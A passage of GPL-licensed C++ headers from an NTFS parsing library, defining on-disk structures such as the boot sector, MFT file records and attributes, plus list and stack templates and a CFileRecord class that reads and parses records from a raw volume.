* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_COMMON_H_CYB70289
#define __NTFS_COMMON_H_CYB70289
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <crtdbg.h>
#include "NTFS_DataType.h"
#define ATTR_NUMS 16 // Attribute Types count
#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2
#define ATTR_MASK(at) (((DWORD)1)<<ATTR_INDEX(at)) // Attribute Bit Mask
// Bit masks of Attributes
#define MASK_STANDARD_INFORMATION ATTR_MASK(ATTR_TYPE_STANDARD_INFORMATION)
#define MASK_ATTRIBUTE_LIST ATTR_MASK(ATTR_TYPE_ATTRIBUTE_LIST)
#define MASK_FILE_NAME ATTR_MASK(ATTR_TYPE_FILE_NAME)
#define MASK_OBJECT_ID ATTR_MASK(ATTR_TYPE_OBJECT_ID)
#define MASK_SECURITY_DESCRIPTOR ATTR_MASK(ATTR_TYPE_SECURITY_DESCRIPTOR)
#define MASK_VOLUME_NAME ATTR_MASK(ATTR_TYPE_VOLUME_NAME)
#define MASK_VOLUME_INFORMATION ATTR_MASK(ATTR_TYPE_VOLUME_INFORMATION)
#define MASK_DATA ATTR_MASK(ATTR_TYPE_DATA)
#define MASK_INDEX_ROOT ATTR_MASK(ATTR_TYPE_INDEX_ROOT)
#define MASK_INDEX_ALLOCATION ATTR_MASK(ATTR_TYPE_INDEX_ALLOCATION)
#define MASK_BITMAP ATTR_MASK(ATTR_TYPE_BITMAP)
#define MASK_REPARSE_POINT ATTR_MASK(ATTR_TYPE_REPARSE_POINT)
#define MASK_EA_INFORMATION ATTR_MASK(ATTR_TYPE_EA_INFORMATION)
#define MASK_EA ATTR_MASK(ATTR_TYPE_EA)
#define MASK_LOGGED_UTILITY_STREAM ATTR_MASK(ATTR_TYPE_LOGGED_UTILITY_STREAM)
#define MASK_ALL ((DWORD)-1)
#define NTFS_TRACE(t1) _RPT0(_CRT_WARN, t1)
#define NTFS_TRACE1(t1, t2) _RPT1(_CRT_WARN, t1, t2)
#define NTFS_TRACE2(t1, t2, t3) _RPT2(_CRT_WARN, t1, t2, t3)
#define NTFS_TRACE3(t1, t2, t3, t4) _RPT3(_CRT_WARN, t1, t2, t3, t4)
#define NTFS_TRACE4(t1, t2, t3, t4, t5) _RPT4(_CRT_WARN, t1, t2, t3, t4, t5)
// User defined Callback routines to process raw attribute data
// Set bDiscard to TRUE if this Attribute is to be discarded
// Set bDiscard to FALSE to let CFileRecord process it
typedef void (*ATTR_RAW_CALLBACK)(const ATTR_HEADER_COMMON *attrHead, BOOL *bDiscard);
// User defined Callback routine to handle CFileRecord parsed attributes
// Will be called by CFileRecord::TraverseAttrs() for each attribute
// attrClass is the according attribute's wrapping class, CAttr_xxx
// Set bStop to TRUE if don't want to continue
// Set bStop to FALSE to continue processing
class CAttrBase;
typedef void (*ATTRS_CALLBACK)(const CAttrBase *attr, void *context, BOOL *bStop);
// User defined Callback routine to handle Directory traversing
// Will be called by CFileRecord::TraverseSubEntries for each sub entry
class CIndexEntry;
typedef void (*SUBENTRY_CALLBACK)(const CIndexEntry *ie);
// List Entry
template <class ENTRY_TYPE>
struct NTSLIST_ENTRY
{
NTSLIST_ENTRY *Next;
ENTRY_TYPE *Entry;
};
// List Entry Smart Pointer
template <class ENTRY_TYPE>
class CEntrySmartPtr
{
public:
CEntrySmartPtr(ENTRY_TYPE *ptr = NULL)
{
EntryPtr = ptr;
}
virtual ~CEntrySmartPtr()
{
if (EntryPtr)
delete EntryPtr;
}
private:
const ENTRY_TYPE *EntryPtr;
public:
__inline CEntrySmartPtr<ENTRY_TYPE> operator = (const ENTRY_TYPE* ptr)
{
// Delete previous pointer if allocated
if (EntryPtr)
delete EntryPtr;
EntryPtr = ptr;
return *this;
}
__inline const ENTRY_TYPE* operator->() const
{
_ASSERT(EntryPtr);
return EntryPtr;
}
__inline BOOL IsValid() const
{
return EntryPtr != NULL;
}
};
//////////////////////////////////////
// Single list implementation
//////////////////////////////////////
template <class ENTRY_TYPE>
class CSList
{
public:
CSList()
{
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
virtual ~CSList()
{
RemoveAll();
}
private:
int EntryCount;
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
NTSLIST_ENTRY<ENTRY_TYPE> *ListCurrent;
public:
// Get entry count
__inline int GetCount() const
{
return EntryCount;
}
// Insert to tail
BOOL InsertEntry(ENTRY_TYPE *entry)
{
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
if (!le)
return FALSE;
le->Entry = entry;
le->Next = NULL;
if (ListTail == NULL)
ListHead = le; // Empty list
else
ListTail->Next = le;
ListTail = le;
EntryCount++;
return TRUE;
}
// Remove all entries
void RemoveAll()
{
while (ListHead)
{
ListCurrent = ListHead->Next;
delete ListHead->Entry;
delete ListHead;
ListHead = ListCurrent;
}
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
// Find first entry
__inline ENTRY_TYPE *FindFirstEntry() const
{
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListHead;
if (ListCurrent)
return ListCurrent->Entry;
else
return NULL;
}
// Find next entry
__inline ENTRY_TYPE *FindNextEntry() const
{
if (ListCurrent)
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListCurrent->Next;
if (ListCurrent)
return ListCurrent->Entry;
else
return NULL;
}
// Throw all entries
// Caution! All entries are just thrown without free
__inline void ThrowAll()
{
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
}; //CSList
//////////////////////////////////////
// Stack implementation
//////////////////////////////////////
template <class ENTRY_TYPE>
class CStack
{
public:
CStack()
{
ListHead = ListTail = NULL;
EntryCount = 0;
}
virtual ~CStack()
{
RemoveAll();
}
private:
int EntryCount;
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
public:
// Get entry count
__inline int GetCount() const
{
return EntryCount;
}
// Insert to head
BOOL Push(ENTRY_TYPE *entry)
{
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
if (!le)
return FALSE;
le->Entry = entry;
le->Next = ListHead;
ListHead = le;
if (ListTail == NULL)
ListTail = le; // Empty list
EntryCount ++;
return TRUE;
}
// Remove from head
ENTRY_TYPE* Pop()
{
if (ListHead == NULL)
return NULL;
NTSLIST_ENTRY<ENTRY_TYPE> *le = ListHead;
ENTRY_TYPE *e = le->Entry;
if (ListTail == ListHead)
ListTail = ListHead->Next;
ListHead = ListHead->Next;
delete le;
EntryCount --;
return e;
}
// Remove all entries
void RemoveAll()
{
NTSLIST_ENTRY<ENTRY_TYPE> *le;
while (ListHead)
{
le = ListHead->Next;
delete ListHead->Entry;
delete ListHead;
ListHead = le;
}
ListHead = ListTail = NULL;
EntryCount = 0;
}
}; //CStack
#endif
@@ -0,0 +1,380 @@
/*
* NTFS data structures and definitions
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_DATATYPE_H_CYB70289
#define __NTFS_DATATYPE_H_CYB70289
// NTFS Boot Sector BPB
#define NTFS_SIGNATURE "NTFS "
#pragma pack(1)
typedef struct tagNTFS_BPB
{
// jump instruction
BYTE Jmp[3];
// signature
BYTE Signature[8];
// BPB and extended BPB
WORD BytesPerSector;
BYTE SectorsPerCluster;
WORD ReservedSectors;
BYTE Zeros1[3];
WORD NotUsed1;
BYTE MediaDescriptor;
WORD Zeros2;
WORD SectorsPerTrack;
WORD NumberOfHeads;
DWORD HiddenSectors;
DWORD NotUsed2;
DWORD NotUsed3;
ULONGLONG TotalSectors;
ULONGLONG LCN_MFT;
ULONGLONG LCN_MFTMirr;
DWORD ClustersPerFileRecord;
DWORD ClustersPerIndexBlock;
BYTE VolumeSN[8];
// boot code
BYTE Code[430];
//0xAA55
BYTE _AA;
BYTE _55;
} NTFS_BPB;
#pragma pack()
// MFT Indexes
#define MFT_IDX_MFT 0
#define MFT_IDX_MFT_MIRR 1
#define MFT_IDX_LOG_FILE 2
#define MFT_IDX_VOLUME 3
#define MFT_IDX_ATTR_DEF 4
#define MFT_IDX_ROOT 5
#define MFT_IDX_BITMAP 6
#define MFT_IDX_BOOT 7
#define MFT_IDX_BAD_CLUSTER 8
#define MFT_IDX_SECURE 9
#define MFT_IDX_UPCASE 10
#define MFT_IDX_EXTEND 11
#define MFT_IDX_RESERVED12 12
#define MFT_IDX_RESERVED13 13
#define MFT_IDX_RESERVED14 14
#define MFT_IDX_RESERVED15 15
#define MFT_IDX_USER 16
/******************************
File Record
---------------------
| File Record Header|
---------------------
| Attribute 1 |
---------------------
| Attribute 2 |
---------------------
| ...... |
---------------------
| 0xFFFFFFFF |
---------------------
*******************************/
// File Record Header
#define FILE_RECORD_MAGIC 'ELIF'
#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use
#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory
typedef struct tagFILE_RECORD_HEADER
{
DWORD Magic; // "FILE"
WORD OffsetOfUS; // Offset of Update Sequence
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
ULONGLONG LSN; // $LogFile Sequence Number
WORD SeqNo; // Sequence number
WORD Hardlinks; // Hard link count
WORD OffsetOfAttr; // Offset of the first Attribute
WORD Flags; // Flags
DWORD RealSize; // Real size of the FILE record
DWORD AllocSize; // Allocated size of the FILE record
ULONGLONG RefToBase; // File reference to the base FILE record
WORD NextAttrId; // Next Attribute Id
WORD Align; // Align to 4 byte boundary
DWORD RecordNo; // Number of this MFT Record
} FILE_RECORD_HEADER;
/******************************
Attribute
--------------------
| Attribute Header |
--------------------
| Attribute Data |
--------------------
*******************************/
// Attribute Header
#define ATTR_TYPE_STANDARD_INFORMATION 0x10
#define ATTR_TYPE_ATTRIBUTE_LIST 0x20
#define ATTR_TYPE_FILE_NAME 0x30
#define ATTR_TYPE_OBJECT_ID 0x40
#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50
#define ATTR_TYPE_VOLUME_NAME 0x60
#define ATTR_TYPE_VOLUME_INFORMATION 0x70
#define ATTR_TYPE_DATA 0x80
#define ATTR_TYPE_INDEX_ROOT 0x90
#define ATTR_TYPE_INDEX_ALLOCATION 0xA0
#define ATTR_TYPE_BITMAP 0xB0
#define ATTR_TYPE_REPARSE_POINT 0xC0
#define ATTR_TYPE_EA_INFORMATION 0xD0
#define ATTR_TYPE_EA 0xE0
#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100
#define ATTR_FLAG_COMPRESSED 0x0001
#define ATTR_FLAG_ENCRYPTED 0x4000
#define ATTR_FLAG_SPARSE 0x8000
typedef struct tagATTR_HEADER_COMMON
{
DWORD Type; // Attribute Type
DWORD TotalSize; // Length (including this header)
BYTE NonResident; // 0 - resident, 1 - non resident
BYTE NameLength; // name length in words
WORD NameOffset; // offset to the name
WORD Flags; // Flags
WORD Id; // Attribute Id
} ATTR_HEADER_COMMON;
typedef struct tagATTR_HEADER_RESIDENT
{
ATTR_HEADER_COMMON Header; // Common data structure
DWORD AttrSize; // Length of the attribute body
WORD AttrOffset; // Offset to the Attribute
BYTE IndexedFlag; // Indexed flag
BYTE Padding; // Padding
} ATTR_HEADER_RESIDENT;
typedef struct tagATTR_HEADER_NON_RESIDENT
{
ATTR_HEADER_COMMON Header; // Common data structure
ULONGLONG StartVCN; // Starting VCN
ULONGLONG LastVCN; // Last VCN
WORD DataRunOffset; // Offset to the Data Runs
WORD CompUnitSize; // Compression unit size
DWORD Padding; // Padding
ULONGLONG AllocSize; // Allocated size of the attribute
ULONGLONG RealSize; // Real size of the attribute
ULONGLONG IniSize; // Initialized data size of the stream
} ATTR_HEADER_NON_RESIDENT;
// Attribute: STANDARD_INFORMATION
#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001
#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002
#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004
#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020
#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040
#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080
#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100
#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200
#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400
#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800
#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000
#define ATTR_STDINFO_PERMISSION_NCI 0x00002000
#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000
typedef struct tagATTR_STANDARD_INFORMATION
{
ULONGLONG CreateTime; // File creation time
ULONGLONG AlterTime; // File altered time
ULONGLONG MFTTime; // MFT changed time
ULONGLONG ReadTime; // File read time
DWORD Permission; // Dos file permission
DWORD MaxVersionNo; // Maxim number of file versions
DWORD VersionNo; // File version number
DWORD ClassId; // Class Id
DWORD OwnerId; // Owner Id
DWORD SecurityId; // Security Id
ULONGLONG QuotaCharged; // Quota charged
ULONGLONG USN; // USN Journel
} ATTR_STANDARD_INFORMATION;
// Attribute: ATTRIBUTE_LIST
typedef struct tagATTR_ATTRIBUTE_LIST
{
DWORD AttrType; // Attribute type
WORD RecordSize; // Record length
BYTE NameLength; // Name length in characters
BYTE NameOffset; // Name offset
ULONGLONG StartVCN; // Start VCN
ULONGLONG BaseRef; // Base file reference to the attribute
WORD AttrId; // Attribute Id
} ATTR_ATTRIBUTE_LIST;
// Attribute: FILE_NAME
#define ATTR_FILENAME_FLAG_READONLY 0x00000001
#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002
#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004
#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020
#define ATTR_FILENAME_FLAG_DEVICE 0x00000040
#define ATTR_FILENAME_FLAG_NORMAL 0x00000080
#define ATTR_FILENAME_FLAG_TEMP 0x00000100
#define ATTR_FILENAME_FLAG_SPARSE 0x00000200
#define ATTR_FILENAME_FLAG_REPARSE 0x00000400
#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800
#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000
#define ATTR_FILENAME_FLAG_NCI 0x00002000
#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000
#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000
#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000
#define ATTR_FILENAME_NAMESPACE_POSIX 0x00
#define ATTR_FILENAME_NAMESPACE_WIN32 0x01
#define ATTR_FILENAME_NAMESPACE_DOS 0x02
typedef struct tagATTR_FILE_NAME
{
ULONGLONG ParentRef; // File reference to the parent directory
ULONGLONG CreateTime; // File creation time
ULONGLONG AlterTime; // File altered time
ULONGLONG MFTTime; // MFT changed time
ULONGLONG ReadTime; // File read time
ULONGLONG AllocSize; // Allocated size of the file
ULONGLONG RealSize; // Real size of the file
DWORD Flags; // Flags
DWORD ER; // Used by EAs and Reparse
BYTE NameLength; // Filename length in characters
BYTE NameSpace; // Filename space
WORD Name[1]; // Filename
} ATTR_FILE_NAME;
// Attribute: VOLUME_INFORMATION
#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty
#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile
#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount
#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4
#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway
#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids
#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk
typedef struct tagATTR_VOLUME_INFORMATION
{
BYTE Reserved1[8]; // Always 0 ?
BYTE MajorVersion; // Major version
BYTE MinorVersion; // Minor version
WORD Flags; // Flags
BYTE Reserved2[4]; // Always 0 ?
} ATTR_VOLUME_INFORMATION;
// Attribute: INDEX_ROOT
/******************************
INDEX_ROOT
---------------------
| Index Root Header |
---------------------
| Index Header |
---------------------
| Index Entry |
---------------------
| Index Entry |
---------------------
| ...... |
---------------------
*******************************/
#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record
#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed
typedef struct tagATTR_INDEX_ROOT
{
// Index Root Header
DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View)
DWORD CollRule; // Collation rule
DWORD IBSize; // Size of index block
BYTE ClustersPerIB; // Clusters per index block (same as BPB?)
BYTE Padding1[3]; // Padding
// Index Header
DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10)
DWORD TotalEntrySize; // Total size of the index entries
DWORD AllocEntrySize; // Allocated size of the index entries
BYTE Flags; // Flags
BYTE Padding2[3]; // Padding
} ATTR_INDEX_ROOT;
// INDEX ENTRY
#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node
#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream
typedef struct tagINDEX_ENTRY
{
ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number
WORD Size; // Length of the index entry
WORD StreamSize; // Length of the stream
BYTE Flags; // Flags
BYTE Padding[3]; // Padding
BYTE Stream[1]; // Stream
// VCN of the sub node in Index Allocation, Offset = Size - 8
} INDEX_ENTRY;
// INDEX BLOCK
/******************************
INDEX_BLOCK
-----------------------
| Index Block Header |
-----------------------
| Index Header |
-----------------------
| Index Entry |
-----------------------
| Index Entry |
-----------------------
| ...... |
-----------------------
*******************************/
#define INDEX_BLOCK_MAGIC 'XDNI'
typedef struct tagINDEX_BLOCK
{
// Index Block Header
DWORD Magic; // "INDX"
WORD OffsetOfUS; // Offset of Update Sequence
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
ULONGLONG LSN; // $LogFile Sequence Number
ULONGLONG VCN; // VCN of this index block in the index allocation
// Index Header
DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18)
DWORD TotalEntrySize; // Total size of the index entries
DWORD AllocEntrySize; // Allocated size of index entries
BYTE NotLeaf; // 1 if not leaf node (has children)
BYTE Padding[3]; // Padding
} INDEX_BLOCK;
#endif
@@ -0,0 +1,989 @@
/*
* NTFS Volume and File Record Class
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_FILERECORD_H_CYB70289
#define __NTFS_FILERECORD_H_CYB70289
///////////////////////////////////////
// NTFS Volume forward declaration
///////////////////////////////////////
class CNTFSVolume
{
public:
CNTFSVolume(_TCHAR volume);
virtual ~CNTFSVolume();
friend class CFileRecord;
friend class CAttrBase;
private:
WORD SectorSize;
DWORD ClusterSize;
DWORD FileRecordSize;
DWORD IndexBlockSize;
ULONGLONG MFTAddr;
HANDLE hVolume;
BOOL VolumeOK;
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
WORD Version;
// MFT file records ($MFT file itself) may be fragmented
// Get $MFT Data attribute to translate FileRecord to correct disk offset
CFileRecord *MFTRecord; // $MFT File Record
const CAttrBase *MFTData; // $MFT Data Attribute
BOOL OpenVolume(_TCHAR volume);
public:
__inline BOOL IsVolumeOK() const;
__inline WORD GetVersion() const;
__inline ULONGLONG GetRecordsCount() const;
__inline DWORD GetSectorSize() const;
__inline DWORD GetClusterSize() const;
__inline DWORD GetFileRecordSize() const;
__inline DWORD GetIndexBlockSize() const;
__inline ULONGLONG GetMFTAddr() const;
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
__inline void ClearAttrRawCB();
}; // CNTFSVolume
////////////////////////////////////////////
// List to hold Attributes of the same type
////////////////////////////////////////////
typedef class CSList<CAttrBase> CAttrList;
// It seems VC6.0 doesn't support template class friends
#if _MSC_VER <= 1200
class CAttrResident;
class CAttrNonResident;
template <class TYPE_RESIDENT> class CAttr_AttrList;
#endif
////////////////////////////////
// Process a single File Record
////////////////////////////////
class CFileRecord
{
public:
CFileRecord(const CNTFSVolume *volume);
virtual ~CFileRecord();
friend class CAttrBase;
#if _MSC_VER <= 1200
// Walk around VC6.0 compiler defect
friend class CAttr_AttrList<CAttrResident>;
friend class CAttr_AttrList<CAttrNonResident>;
#else
template <class TYPE_RESIDENT> friend class CAttr_AttrList; // Won't compiler in VC6.0, why?
#endif
private:
const CNTFSVolume *Volume;
FILE_RECORD_HEADER *FileRecord;
ULONGLONG FileReference;
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
DWORD AttrMask;
CAttrList AttrList[ATTR_NUMS]; // Attributes
void ClearAttrs();
BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray);
__inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard);
CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled);
BOOL ParseAttr(ATTR_HEADER_COMMON *ahc);
FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef);
BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const;
void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const;
public:
BOOL ParseFileRecord(ULONGLONG fileRef);
BOOL ParseAttrs();
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
__inline void ClearAttrRawCB();
__inline void SetAttrMask(DWORD mask);
void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context);
__inline const CAttrBase* FindFirstAttr(DWORD attrType) const;
const CAttrBase* FindNextAttr(DWORD attrType) const;
int GetFileName(_TCHAR *buf, DWORD bufLen) const;
__inline ULONGLONG GetFileSize() const;
void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const;
void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const;
__inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const;
const CAttrBase* FindStream(_TCHAR *name = NULL);
__inline BOOL IsDeleted() const;
__inline BOOL IsDirectory() const;
__inline BOOL IsReadOnly() const;
__inline BOOL IsHidden() const;
__inline BOOL IsSystem() const;
__inline BOOL IsCompressed() const;
__inline BOOL IsEncrypted() const;
__inline BOOL IsSparse() const;
}; // CFileRecord
#include "NTFS_Attribute.h"
CFileRecord::CFileRecord(const CNTFSVolume *volume)
{
_ASSERT(volume);
Volume = volume;
FileRecord = NULL;
FileReference = (ULONGLONG)-1;
ClearAttrRawCB();
// Default to parse all attributes
AttrMask = MASK_ALL;
}
CFileRecord::~CFileRecord()
{
ClearAttrs();
if (FileRecord)
delete FileRecord;
}
// Free all CAttr_xxx
void CFileRecord::ClearAttrs()
{
for (int i=0; i<ATTR_NUMS; i++)
{
AttrList[i].RemoveAll();
}
}
// Verify US and update sectors
BOOL CFileRecord::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray)
{
int i;
for (i=0; i<sectors; i++)
{
sector += ((Volume->SectorSize>>1) - 1);
if (*sector != usn)
return FALSE; // USN error
*sector = usarray[i]; // Write back correct data
sector++;
}
return TRUE;
}
// Call user defined Callback routines for an attribute
__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard)
{
*bDiscard = FALSE;
if (AttrRawCallBack[attType])
AttrRawCallBack[attType](ahc, bDiscard);
else if (Volume->AttrRawCallBack[attType])
Volume->AttrRawCallBack[attType](ahc, bDiscard);
}
CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled)
{
switch (ahc->Type)
{
case ATTR_TYPE_STANDARD_INFORMATION:
return new CAttr_StdInfo(ahc, this);
case ATTR_TYPE_ATTRIBUTE_LIST:
if (ahc->NonResident)
return new CAttr_AttrList<CAttrNonResident>(ahc, this);
else
return new CAttr_AttrList<CAttrResident>(ahc, this);
case ATTR_TYPE_FILE_NAME:
return new CAttr_FileName(ahc, this);
case ATTR_TYPE_VOLUME_NAME:
return new CAttr_VolName(ahc, this);
case ATTR_TYPE_VOLUME_INFORMATION:
return new CAttr_VolInfo(ahc, this);
case ATTR_TYPE_DATA:
if (ahc->NonResident)
return new CAttr_Data<CAttrNonResident>(ahc, this);
else
return new CAttr_Data<CAttrResident>(ahc, this);
case ATTR_TYPE_INDEX_ROOT:
return new CAttr_IndexRoot(ahc, this);
case ATTR_TYPE_INDEX_ALLOCATION:
return new CAttr_IndexAlloc(ahc, this);
case ATTR_TYPE_BITMAP:
if (ahc->NonResident)
return new CAttr_Bitmap<CAttrNonResident>(ahc, this);
else
// Resident Bitmap may exist in a directory's FileRecord
// or in $MFT for a very small volume in theory
return new CAttr_Bitmap<CAttrResident>(ahc, this);
// Unhandled Attributes
default:
*bUnhandled = TRUE;
if (ahc->NonResident)
return new CAttrNonResident(ahc, this);
else
return new CAttrResident(ahc, this);
}
}
// Parse a single Attribute
// Return False on error
BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc)
{
DWORD attrIndex = ATTR_INDEX(ahc->Type);
if (attrIndex < ATTR_NUMS)
{
BOOL bDiscard = FALSE;
UserCallBack(attrIndex, ahc, &bDiscard);
if (!bDiscard)
{
BOOL bUnhandled = FALSE;
CAttrBase *attr = AllocAttr(ahc, &bUnhandled);
if (attr)
{
if (bUnhandled)
{
NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type);
}
AttrList[attrIndex].InsertEntry(attr);
return TRUE;
}
else
{
NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type);
return FALSE;
}
}
else
{
NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type);
return TRUE;
}
}
else
{
NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type);
return FALSE;
}
}
// Read File Record
FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef)
{
FILE_RECORD_HEADER *fr = NULL;
DWORD len;
if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL)
{
// Take as continuous disk allocation
LARGE_INTEGER frAddr;
frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef;
frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN);
if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR)
return FALSE;
else
{
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL)
&& len==Volume->FileRecordSize)
return fr;
else
{
delete fr;
return NULL;
}
}
}
else
{
// May be fragmented $MFT
ULONGLONG frAddr;
frAddr = (Volume->FileRecordSize) * fileRef;
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len)
&& len == Volume->FileRecordSize)
return fr;
else
{
delete fr;
return NULL;
}
}
}
// Read File Record, verify and patch the US (update sequence)
BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef)
{
// Clear previous data
ClearAttrs();
if (FileRecord)
{
delete FileRecord;
FileRecord = NULL;
}
FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef);
if (fr == NULL)
{
NTFS_TRACE1("Cannot read file record %I64u\n", fileRef);
FileReference = (ULONGLONG)-1;
}
else
{
FileReference = fileRef;
if (fr->Magic == FILE_RECORD_MAGIC)
{
// Patch US
WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS);
WORD usn = *usnaddr;
WORD *usarray = usnaddr + 1;
if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray))
{
NTFS_TRACE1("File Record %I64u Found\n", fileRef);
FileRecord = fr;
return TRUE;
}
else
{
NTFS_TRACE("Update Sequence Number error\n");
}
}
else
{
NTFS_TRACE("Invalid file record\n");
}
delete fr;
}
return FALSE;
}
// Visit IndexBlocks recursivly to find a specific FileName
BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const
{
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
if (ia == NULL)
return FALSE;
CIndexBlock ib;
if (ia->ParseIndexBlock(vcn, ib))
{
